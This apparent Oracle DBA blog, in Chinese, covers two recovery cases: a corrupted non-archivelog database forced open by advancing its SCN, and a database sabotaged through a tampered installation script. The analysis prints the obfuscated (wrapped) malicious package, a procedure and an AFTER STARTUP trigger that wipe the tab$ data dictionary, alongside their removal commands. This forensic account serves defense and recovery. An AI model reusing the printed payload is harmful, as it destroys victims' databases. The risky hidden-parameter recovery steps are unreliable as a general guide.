错误并不复杂。可以看到Oracle这里已经无法正常写Redo logfile了。由于这套数据库是非归档,只有逻辑备份,因此即使恢复成功也面临数据丢失的可能性。首先我在尝试进行恢复时,发现居然无法mount数据库,在mount过程中实例被直接终止了,感觉非常奇怪。也没有报非常明显的错误。mount过程出错,那么无疑是controlfile存在异常;由于没有controlfile备份,因此这里先手工重建控制文件,如下是脚本:

CREATE CONTROLFILE REUSE DATABASE "XXX" RESETLOGS NOARCHIVELOG
MAXLOGFILES 16
MAXLOGMEMBERS 3
MAXDATAFILES 100
MAXINSTANCES 8
MAXLOGHISTORY 584
LOGFILE
GROUP 1 '+data/ods/ONLINELOG/group_1.257.816033845' SIZE 500M BLOCKSIZE 512,
GROUP 2 '+data/xxx/ONLINELOG/group_2.258.816033845' SIZE 500M BLOCKSIZE 512,
GROUP 3 '+data/xxx/ONLINELOG/group_3.265.816035881' SIZE 500M BLOCKSIZE 512,
GROUP 4 '+data/xxx/ONLINELOG/group_4.266.816035883' SIZE 500M BLOCKSIZE 512,
GROUP 5 '+data/xxx/ONLINELOG/group_5.275.816036347' SIZE 500M BLOCKSIZE 512,
GROUP 6 '+data/xxx/ONLINELOG/group_6.277.816036359' SIZE 500M BLOCKSIZE 512
DATAFILE
'+DATA/xxx/datafile/system.259.816033847',
'+DATA/xxx/datafile/sysaux.260.816033849',
'+DATA/xxx/datafile/undotbs1.261.816033851',
'+DATA/xxx/datafile/undotbs2.263.816033859',
'+DATA/xxx/datafile/users.264.816033859',
'+DATA/xxx/datafile/tbs_tbdata.278.816036381',
'+DATA/xxx/datafile/tbs_omdata.283.816036779',
'+DATA/xxx/datafile/tbs_cmdata.284.816036813',
'+DATA/xxx/datafile/tbs_dmdata.285.816036857',
'+DATA/xxx/datafile/tbs_dbetl.286.816036893',
'+DATA/xxx/datafile/tbs_schedule.287.816036909',
'+DATA/xxx/datafile/tbs_meast.288.816036915',
'+DATA/xxx/datafile/tbs_m1104.289.816036939',
'+DATA/xxx/datafile/tbs_mpisa.293.842192725',
'+DATA/xxx/datafile/tbs_mpfsc',
'+DATA/xxx/datafile/tbs_msafe',
'+DATA/xxx/datafile/tbs_mecsp',
'+DATA/xxx/datafile/tbs_mpbss',
'+DATA/xxx/datafile/tbs_mpbfc',
'+DATA/xxx/datafile/idx_cmdata'
CHARACTER SET ZHS16GBK;

 

重建完毕后。其实这里我首先尝试了进行noresetlogs创建,但是发现报错:

ORA-00600: internal error code, arguments: [2762], [4294967295], [1024000], [+DATA/xxx/onlinelog/group_3.265.816035881], [], [], [], [], [], [], [],
[]

很明显,Redo logfile有问题;看来还是只能Resetlogs方式创建。创建完毕之后,尝试进行了recover database using backup controlfile until cancel恢复操作;然后通过隐含参数强制open发现还是有如下错误:

Fri Sep 22 13:00:10 2017
SMON: enabling cache recovery
Instance recovery: looking for dead threads
Instance recovery: lock domain invalid but no dead threads
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_ora_1593.trc (incident=120288):
ORA-00600: internal error code, arguments: [2662], [3], [3158008565], [3], [3159337219], [12582976], [], [], [], [], [], []
Incident details in: /u01/app/oracle/diag/rdbms/xxx/xxx1/incident/incdir_120288/xxx1_ora_1593_i120288.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_ora_1593.trc:
ORA-00600: internal error code, arguments: [2662], [3], [3158008565], [3], [3159337219], [12582976], [], [], [], [], [], []
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_ora_1593.trc:
ORA-00600: internal error code, arguments: [2662], [3], [3158008565], [3], [3159337219], [12582976], [], [], [], [], [], []
Error 600 happened during db open, shutting down database
USER (ospid: 1593): terminating the instance due to error 600
Instance terminated by USER, pid = 1593
ORA-1092 signalled during: alter database open resetlogs...

 

这是非常经典的错误了;由于这是scn的问题;而且数据库版本为11.2.0.3.0,未安装任何psu。因此这里是可以直接推进scn的。

直接通过10015 event来推进数据库的scn;另外由于是异常关机,那么这里Undo必然也无法进行正常恢复;因此同时设置undo_management参数为manual,并同时设置10015 event:

alter session set events ‘10015 trace name adjust_scn level 2’;

顺利打开了数据库。打开数据库之后立刻重建数据库Undo和temp,如下:

create undo tablespace undo1 datafile '+data' size 2048m;
create undo tablespace undo2 datafile '+data' size 2048m;
drop tablespace undotbs1 including contents and datafiles;
drop tablespace undotbs2 including contents and datafiles;
alter tablespace temp add tempfile '+data/rep/tempfile/TEMP.276.816036349' reuse;
alter tablespace temp add tempfile '+data/ods/tempfile/temp1607202' reuse;
alter tablespace temp add tempfile '+data/ods/tempfile/temp1607203' reuse;

再次重启数据库之后,发现alert log仍然有一些错误;这是在所难免的。如下所示:

ORA-00604: error occurred at recursive SQL level 1
ORA-08102: index key not found, obj# 290, file 1, block 1029 (2)
ORA-12012: error on auto execute of job 4001
ORA-08102: index key not found, obj# 290, file 1, block 1029 (2)
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_j003_8160.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-08102: index key not found, obj# 290, file 1, block 1029 (2)
ORA-12012: error on auto execute of job 4002
ORA-08102: index key not found, obj# 290, file 1, block 1029 (2)
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_ora_8043.trc:
Fri Sep 22 13:30:40 2017
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_ora_8043.trc:
Fri Sep 22 13:30:42 2017
Dumping diagnostic data in directory=[cdmp_20170922133042], requested by (instance=1, osid=8043), summary=[abnormal process termination].
Fri Sep 22 13:31:59 2017
Starting background process SMCO
Fri Sep 22 13:31:59 2017
SMCO started with pid=35, OS id=9375
Fri Sep 22 13:37:54 2017
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_m000_10623.trc (incident=144379):
ORA-00600: internal error code, arguments: [kdsgrp1], [], [], [], [], [], [], [], [], [], [], []
Incident details in: /u01/app/oracle/diag/rdbms/xxx/xxx1/incident/incdir_144379/xxx1_m000_10623_i144379.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
Fri Sep 22 13:37:55 2017
Dumping diagnostic data in directory=[cdmp_20170922133755], requested by (instance=1, osid=10623 (M000)), summary=[incident=144379].
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_m000_10623.trc (incident=144380):
ORA-00600: internal error code, arguments: [kewrose_1], [600], [ORA-00600: internal error code, arguments: [kdsgrp1], [], [], [], [], [], [], [], [], [], [], []
], [], [], [], [], [], [], [], [], []
Incident details in: /u01/app/oracle/diag/rdbms/xxx/xxx1/incident/incdir_144380/xxx1_m000_10623_i144380.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx1/trace/xxx1_m000_10623.trc:
ORA-00600: internal error code, arguments: [kewrose_1], [600], [ORA-00600: internal error code, arguments: [kdsgrp1], [], [], [], [], [], [], [], [], [], [], []
], [], [], [], [], [], [], [], [], []
Dumping diagnostic data in directory=[cdmp_20170922133757], requested by (instance=1, osid=10623 (M000)), summary=[incident=144380].
Fri Sep 22 13:37:58 2017
Sweep [inc][144380]: completed

 

实际上当时在进行恢复时,我手工处理掉了obj# 290;但是进一步检查发现obj$,col_usage$ ,i_obj4# 都存在问题。而且不一致的记录还比较多:

select /*+ index(t i_obj4) */ DATAOBJ#,type#,owner# from obj$ t
minus
select /*+ full(t1) */ DATAOBJ#,type#,owner# from obj$ t1;
DATAOBJ# TYPE# OWNER#
---------- ---------- ----------
1451154 2 90
1589557 1 92
1589558 2 92
1589573 2 100
1589574 2 100
1589575 2 100
1589576 2 100
1589577 2 100
1589578 2 100
1589579 2 100
1589580 2 100
1589581 2 100
1589582 2 100
1589583 2 100
1589584 2 100
1589585 2 100
1589586 2 100
1589587 2 100
1589588 2 100
1589589 2 100
1589590 2 100
1589591 2 100
1589592 2 100
1589593 2 100
1589594 2 100
1589595 2 100
1589596 2 100
1589597 2 100
1589598 2 100
1589599 2 100
1589600 2 100
1589601 2 100
1589602 2 100
1589603 2 100
1589604 2 100
1589607 2 100
1589612 0 0



select /*+ full(t1) */ DATAOBJ#,type#,owner# from obj$ t1
minus
select /*+ index(t i_obj4) */ DATAOBJ#,type#,owner# from obj$ t ;

DATAOBJ# TYPE# OWNER#
---------- ---------- ----------
1587659 2 100
1587660 2 100
1587661 2 100
1587662 2 100
1587663 2 100
1587664 2 100
1587665 2 100
1587666 2 100
1587667 2 100
1587668 2 100
1587669 2 100
1587670 2 100
1587671 2 100
1587672 2 100
1587673 2 100
1587674 2 100
1587675 2 100
1587676 2 100
1587677 2 100
1587678 2 100
1587679 2 100
1587680 2 100
1587681 2 100
1587682 2 100
1587683 2 100
1587684 2 100
1587685 2 100
1587687 2 100
1587688 2 100
1587689 2 100
1587690 2 100
1587691 2 100
1587692 2 100
1587695 1 92
1587696 2 92
1587716 2 90
1587717 2 90
1587718 2 90
1587719 2 90
1587720 2 90
1587721 2 90
1587722 2 90
1587723 2 90
1587724 2 90
1587725 2 90
1587726 2 90
1587727 2 90
1587728 2 90
1587729 2 90
1587730 2 90
1587732 2 90
1587733 2 90
1589527 0 0

最开始我还尝试通过bbed修复了2个Block;最后发现依然难以处理这个ora-08102错误;后续通过上述sql比较发现居然有如此多的记录不一致。修改起来太过麻烦了。

这里其实本来想尝试通过重建obj$,i_obj4$,col_usage$ 来解决的。但是担心有较大的风险,因此这里建议可以进行了数据库重建。由于obj$这里有问题,expdp操作都报错,无法执行任何ddl操作。因此最好通过exp拆分脚本来进行重建处理。整个数据库恢复➕重建过程将近20小时左右(2tb左右的库).

 

由于客户存储环境io较差,因此导致整个重建过程比较复杂,比较耗时。我们在开玩笑讲到,如果可能的数据库运行在我们的Zdata环境上,那么数据库重建过程在2小时内即可完成;而且也不会出现类似故障;因此Zdata的io操作上直接落盘或者写到Pcie上;不存在数据丢失的风险。

 

最后补充一点:

1)  由于数据库很多事务无法正常恢复,导致SMON在不断尝试进行事务恢复时报错,达到一定次数之后会crash实例;进而影响数据库的重建工作。可通过设置_smon_internal_errlimit 参数来避免该问题。

2) 为了加快exp和imp速度,这里我们利用了管道技术,脚本如下:

mknod /backup/omdata10
exp   \'/ as sysdba\' parfile=omdata.par file=/backup/omdata10 rows=y indexes=n compress=n direct=y recordlength=65536 buffer=52488000 feedback=100000 volsize=0 log=omdata_other.log;
imp  \'/ as sysdba\' file=/backup/omdata10 fromuser=omdata touser=omdata buffer=52488000

数据库被注入恶意攻击程序的案例恢复(ORA-16703)

$
0
0

本站文章除注明转载外,均为本站原创: 转载自love wife & love life —Roger 的Oracle技术博客

本文链接地址: 数据库被注入恶意攻击程序的案例恢复(ORA-16703)

前几天某客户紧急求助我们,其Oracle数据库由于重启之后无法正常启动。最后通过数据库全备进行了一天一夜的恢复,最后仍然无法正常打开数据库。alter database open时检查发现数据库报错ORA-16703.

从用户提供的信息来看,确实是在open resetlogs的时候出现的错误。那么这个错误意味着什么呢? 其实第一眼看到这个错误;我们就大概清楚这是Oracle的数据字典出问题了。 而且这通常是Oracle tab$。

接到这个case,我开始感觉是非常的奇怪。为什么客户利用Oracle rman全备+归档进行恢复,然后open的时候居然报数据字典有问题呢?感觉有点匪夷所思。

这里我们首先要做的是进行验证,验证什么信息呢? 很简单,确认tab$是否真的有问题。这里其实有2种方法(第一是10046 trace跟踪你会看到Oracle 递归SQL在访问tab$时报错、第二是直接通过工具读取tab$的数据,看看是否正常)。

实际上这里我首先通过10046 event跟踪了一下,发现确实如此,为了更加确认,我将system文件cp到文件系统,通过ODU 抽取了tab$的数据,发现居然是0 行。这说明什么呢? 说明tab$ 的数据被人清空了?

我相信只有这一种解释了。发现了问题,没什么用呀。我们需要尽快帮用户恢复生产库,恢复业务。这是关键。由于客户之前的环境已经被人resetlogs了多次,因此不再适合继续恢复了;首先我们通过全备进行了一次恢复,然后尝试打开了数据库。确实非常顺利,但是遗憾的,不到1分钟数据库就宕机了,然后再次启动就是报同样的错误ORA-16073.

还好我此时多了一个心眼,open之前我先备份了system文件;此时再次通过odu抽取tab$的数据进行对比发现;open之前数据是存在的;open之后数据库宕机,然后再次查看tab$数据为0.

很明显,问题出在open之后的一个极其短暂的时内。通常这种破坏操作都是通过存储过程或者trigger等来进行;因此我尝试通过odu抽取了obj$的信息。发现该数据库再2017年9月2号凌晨创建了几个特殊对象,猜测就是这个东西在捣鬼了。

这几个dbms_support的对象明显是有问题的。看来这个问题在1个月前就潜伏了,只是用户没有发觉而已。结合alert log分析判断9月2号客户应该是进行过数据库升级操作,后面跟客户确认也确实如此。

难道问题出在升级的环境? 问过当时升级的工程师,整个过程没有任何问题,只是简单的将数据库从11.2.0.3升级到11.2.0.4。 想到这里,问怀疑问题可能出现在Oracle软件安装包上。搜了一下Mos发现这个dbms_support对象在安装升级过程运行?/rdbms/admin/prvtsupp.plb脚本产生的内容。 既然如此;那么有没有这个脚本被人动过手脚呢? strings 看了一下脚本内容,发现确实有问题。

如下是被恶意注入后的脚本:

ora1>$strings /oracle/product/11.2.4/rdbms/admin/prvtsupp.plb
create or replace package body dbms_support wrapped 
a000000
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
a60 422
xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf
rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk
XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ
T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8
bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop
/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB
wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe
dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF
2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3
3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1
9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA
O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn
qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx
yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0
eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=
create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==
PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database 
declare
begin 
   DBMS_SUPPORT_DBMONITORP;
end;
ora1>$

如下是我的11.2.0.4环境的正常脚本内容:

[oracle@killdb admin]$ strings /u01/app/oracle/product/11.2.0/dbhome_1/rdbms/admin/prvtsupp.plb
create or replace package body dbms_support wrapped 
a000000
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
a60 422
xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf
rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk
XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ
T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8
bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop
/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB
wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe
dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF
2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3
3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1
9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA
O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn
qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx
yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0
eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=

我们可以清楚的看到,前面的大部分内容被篡改了。对于这个恶意攻击脚本,我尝试进行解密,但是没有成功。对于Oracle自带的这个正常的prvtsupp.plb的脚本,可以轻易解密:

PACKAGE BODY dbms_support AS

  FUNCTION MYSID RETURN NUMBER IS
    L_SID NUMBER := 0;
  BEGIN
    
    SELECT SID INTO L_SID FROM V$MYSTAT
          WHERE ROWNUM = 1;
    RETURN(L_SID);
  END;

  FUNCTION PACKAGE_VERSION RETURN VARCHAR2 IS
  BEGIN
    RETURN('DBMS_SUPPORT Version 1.0 (17-Aug-1998)'||
           ' - Requires Oracle 7.2 - 8.0.5');
  END;

  FUNCTION CURRENT_SERIAL(L_SID IN NUMBER) RETURN NUMBER IS
    L_SERIAL NUMBER := 0;
  BEGIN
    SELECT SERIAL# INTO L_SERIAL
    FROM V$SESSION 
    WHERE SID = L_SID;
    RETURN(L_SERIAL);
  EXCEPTION
    WHEN NO_DATA_FOUND THEN
      RAISE_APPLICATION_ERROR(-20000,
            'Current_Serial: SID '||L_SID||' does not exist');
  END;

  PROCEDURE VALIDATE_SID(L_SID    IN NUMBER,
                         L_SERIAL IN NUMBER) IS
    L_STATUS VARCHAR2(20);
  BEGIN
    SELECT STATUS INTO L_STATUS FROM V$SESSION
    WHERE SID = L_SID AND SERIAL# = L_SERIAL;
    IF L_STATUS = 'KILLED' THEN
      RAISE_APPLICATION_ERROR(-20000,
          'Validate_Sid: Session ('||L_SID||','||L_SERIAL||
          ') has been KILLED');
    END IF;
  EXCEPTION
    WHEN NO_DATA_FOUND THEN
      RAISE_APPLICATION_ERROR(-20000,
          'Validate_Sid: Session ('||L_SID||','||L_SERIAL||
          ') does not exist');
  END;

  PROCEDURE START_TRACE(WAITS IN BOOLEAN  DEFAULT TRUE,
                        BINDS IN BOOLEAN  DEFAULT FALSE) IS
  BEGIN
    START_TRACE_IN_SESSION(MYSID,0,WAITS,BINDS);
  END;

  PROCEDURE STOP_TRACE IS
  BEGIN
    STOP_TRACE_IN_SESSION(MYSID,0);
  END;

  PROCEDURE START_TRACE_IN_SESSION(SID    IN NUMBER,
                                   SERIAL IN NUMBER,
                                   WAITS  IN BOOLEAN  DEFAULT TRUE,
                                   BINDS  IN BOOLEAN  DEFAULT FALSE) IS
    L_LEVEL  NUMBER := 0;
    L_SID    NUMBER := SID;
    L_SERIAL NUMBER := SERIAL;
  BEGIN
    
    IF (SERIAL = 0 OR SERIAL IS NULL) THEN
        L_SERIAL := CURRENT_SERIAL(SID);
    END IF;
    VALIDATE_SID(L_SID, L_SERIAL);
    
    IF (WAITS AND BINDS) THEN
      L_LEVEL := 12;
    ELSIF (WAITS) THEN
      L_LEVEL := 8;
    ELSIF (BINDS) THEN
      L_LEVEL := 4;
    ELSE
      L_LEVEL := 1;
    END IF;
    
    DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, L_LEVEL, '');
  END;

  PROCEDURE STOP_TRACE_IN_SESSION(SID    IN NUMBER,
                                  SERIAL IN NUMBER) IS
    L_SID    NUMBER := SID;
    L_SERIAL NUMBER := SERIAL;
  BEGIN
    
    IF (SERIAL = 0 OR SERIAL IS NULL) THEN
        L_SERIAL := CURRENT_SERIAL(SID);
    END IF;
    VALIDATE_SID(L_SID, L_SERIAL);
    
    DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, 0, '');
  END;
END DBMS_SUPPORT;

 

那么知道了问题的原因,如何处理呢? 这就不太难了。我尝试用提前cp备份的system文件进行替换,然后推进scn顺利打开了数据库,打开之后,我离开进行了如下的操作。

alter system set "_system_trig_enabled"=false scope=both;
 alter database open ;
 drop TRIGGER DBMS_SUPPORT_DBMONITOR;
 drop PROCEDURE DBMS_SUPPORT_DBMONITORP;
 drop PACKAGE DBMS_SUPPORT;

这里需要注意的是,对于这个隐含参数,建议open之前打开,可以起到类似将数据库在upgrade模式下操作的效果(drop操作要够快,最好是命令与open操作一起执行)。

事情到这里还没结束,可能是我操作不够快还是怎么到。最后dbmonitorp这个私活无法drop,会一直挂起。不过trigger被drop了,那么只是问题不会再次触发了,除非手工调用这个存储过程。

最后客户测试应用时,发现有将近10个表有问题,报错ora-30732错误。这个错误本身来讲不难处理,重建对象即可。问题是当我尝试重建table时,发现session直接挂起。通过10046 event跟踪session发现一直时row cache lock,如下所示:

=====================
PARSING IN CURSOR #47076496818944 len=247 dep=0 uid=0 oct=1 lid=0 tim=1506947044194706 hv=2230672216 ad='18eb9ca910' sqlid='0cxwj6k2gaqus'
CREATE TABLE test.LIS_TES
END OF STMT
PARSE #47076496818944:c=2000,e=2011,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=1,plh=0,tim=1506947044194702
=====================
PARSING IN CURSOR #47076496812832 len=45 dep=1 uid=0 oct=3 lid=0 tim=1506947044195801 hv=3393782897 ad='18fce834e0' sqlid='9p6bq1v54k13j'
select value$ from sys.props$ where name = :1
END OF STMT
PARSE #47076496812832:c=1000,e=884,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=1506947044195800
BINDS #47076496812832:
 Bind#0
  oacdty=01 mxl=32(22) mxlc=00 mal=00 scl=00 pre=00
  oacflg=10 fl2=0001 frm=01 csi=852 siz=32 off=0
  kxsbbbfp=2ad0d9dea2b8  bln=32  avl=22  flg=05
  value="GG_XSTREAM_FOR_STREAMS"
EXEC #47076496812832:c=1000,e=1304,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044197191
FETCH #47076496812832:c=0,e=65,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044197275
STAT #47076496812832 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=66 us cost=2 size=28 card=1)'
CLOSE #47076496812832:c=0,e=5,dep=1,type=0,tim=1506947044197363
=====================
PARSING IN CURSOR #47076497130448 len=70 dep=1 uid=0 oct=3 lid=0 tim=1506947044200836 hv=1853064805 ad='192c100d50' sqlid='5hrvvu1r771m5'
 SELECT VALUE$ FROM SYS.PROPS$ WHERE NAME = 'OGG_TRIGGER_OPTIMIZATION'
END OF STMT
PARSE #47076497130448:c=2000,e=1513,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044200835
EXEC #47076497130448:c=0,e=19,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044200964
FETCH #47076497130448:c=0,e=24,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044201006
STAT #47076497130448 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=24 us cost=2 size=28 card=1)'

*** 2017-10-02 20:24:07.201
WAIT #47076496818944: nam='row cache lock' ela= 3000384 cache id=8 mode=0 request=3 obj#=-1 tim=1506947047201532

*** 2017-10-02 20:24:10.203
WAIT #47076496818944: nam='row cache lock' ela= 3001708 cache id=8 mode=0 request=3 obj#=-1 tim=1506947050203394

*** 2017-10-02 20:24:13.205
WAIT #47076496818944: nam='row cache lock' ela= 3001737 cache id=8 mode=0 request=3 obj#=-1 tim=1506947053205264

*** 2017-10-02 20:24:16.207
WAIT #47076496818944: nam='row cache lock' ela= 3001722 cache id=8 mode=0 request=3 obj#=-1 tim=1506947056207134

这确实有些怪异了。通过上面毒cahce id=12我们可以进一步定位到是数据库的约束可能有问题,如下:

SQL> select cache#,cache_name,lock_mode,lock_request,saddr from v$rowcache_parent where lock_mode<>0;

    CACHE# CACHE_NAME                                                        LOCK_MODE LOCK_REQUEST SADDR
---------- ---------------------------------------------------------------- ---------- ------------ ----------------
         8 dc_objects                                                                5            0 0000001883325D60
         8 dc_objects                                                                5            0 0000001883325D60
         8 dc_objects                                                                5            0 0000001883325D60
         8 dc_objects                                                                5            0 0000001883325D60
        11 dc_objects                                                                5            0 0000001883325D60
        11 dc_objects                                                                5            0 0000001883325D60
        12 dc_constraints                                                            5            0 0000001883325D60
        12 dc_constraints                                                            5            0 0000001883325D60

 

约束有问题? 各位不要惊讶,这里完全有可能,因为数据库是强制open的,可能有不一致的情况出现。为了进行验证,我创建一个不带约束的table 发现确实ok,带上not null的约束就hang住。

最后在自己的11.2.0.4的数据库进行了简单测试发现:

1、create table(带约束的情况下)会如下几个基表的操作,但是与约束有关系的,其实就con$,cdef$:

insert into con$(owner#,name,con#,spare1)values(:1,:2,:3,:4)
insert into tab$(obj#,ts#,file#,block#,bobj#,tab#,intcols,kernelcols,clucols,audit$,flags,pctfree$,pctused$,initrans,maxtrans,rowcnt,blkcnt,empcnt,avgspc,chncnt,avgrln,analyzetime,samplesize,cols,property,degree,instances,dataobj#,avgspc_flb,flbcnt,trigflag,spare1,spare6)values(:1,:2,:3,:4,decode(:5,0,null,:5),decode(:6,0,null,:6),:7,:8,decode(:9,0,null,:9),:10,:11,:12,:13,:14,:15,:16,:17,:18,:19,:20,:21,:22,:23,:24,:25,decode(:26,1,null,:26),decode(:27,1,null,:27),:28,:29,:30,:31,:32,:33)
insert into col$(obj#,name,intcol#,segcol#,type#,length,precision#,scale,null$,offset,fixedstorage,segcollength,deflength,default$,col#,property,charsetid,charsetform,spare1,spare2,spare3)values(:1,:2,:3,:4,:5,:6,decode(:5,182/*DTYIYM*/,:7,183/*DTYIDS*/,:7,decode(:7,0,null,:7)),decode(:5,2,decode(:8,-127/*MAXSB1MINAL*/,null,:8),178,:8,179,:8,180,:8,181,:8,182,:8,183,:8,231,:8,null),:9,0,:10,:11,decode(:12,0,null,:12),:13,:14,:15,:16,:17,:18,:19,:20)
insert into ccol$(con#,obj#,intcol#,pos#,col#,spare1) values(:1,:2,:3,decode(:4,0,null,:4),:5, :6)
insert into cdef$(obj#,con#,type#,intcols,condlength,condition,robj#,rcon#,match#,refact,enabled,cols,defer,mtime,spare1,spare2,spare3)values(:1,:2,:3,decode(:4,0,null,:4),decode(:5,0,null,:5),:6,decode(:7,0,null,:7),decode(:8,0,null,:8),decode(:9,0,null,:9),decode(:10,0,null,:10), decode(:11,0,null,:11),:12, decode(:13,0,null,:13),:14,:15,:16,:17)

2、创建约束时Oracle会以_next_constraint 的con# 值为当前所能搞创建成功的约束的con#;该值必须比con$.max(con#)要大。 其实只要大于即可。

根据类似的思路我对客户这套数据库进行了简单检查,发现数据字典确实有问题,如下:

SQL> select /*+full(con$) */ con# from con$
  2  minus
  3  select /*+full(cdef$) */ con# from cdef$ 
  4  /

      CON#
----------
    144216

SQL> select /*+full(cdef$) */ con# from cdef$ minus
  2  select /*+full(con$) */ con# from con$;

no rows selected



SQL> select /*+index(cdef$ I_CDEF1) */ con# from cdef$ minus
  2  select /*+INDEX(con$ I_CON2) */ con# from con$;

      CON#
----------
    144217
    144218
